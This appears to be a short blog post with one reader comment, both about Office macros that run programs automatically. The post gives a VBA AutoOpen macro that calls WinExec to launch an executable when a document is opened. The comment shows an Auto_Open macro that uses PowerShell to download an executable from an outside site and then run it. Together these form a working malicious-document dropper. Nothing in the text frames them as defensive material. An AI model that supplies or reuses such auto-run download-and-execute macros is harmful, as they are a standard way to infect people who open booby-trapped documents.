Use this macro code to run blah.exe when the document is opened (using AutoOpen):
Private Declare Function WinExec Lib "Kernel32.dll" (ByVal lpCmdLine As String, ByVal nShowCmd As Long) As Long Sub AutoOpen() Call WinExec("C:\blah.exe", SW_NORMAL) End Sub
1 comment:
i try to run powershell from macro..and somthing goes wrong, macro not work..any idea?
Sub Auto_Open()
Dim x
x = Shell("POWERSHELL.EXE (New-Object System.Net.WebClient).DownloadFile('http://www.greyhathacker.net/tools/messbox.exe','mess.exe');Start-Process 'mess.exe'")
End Sub
Post a Comment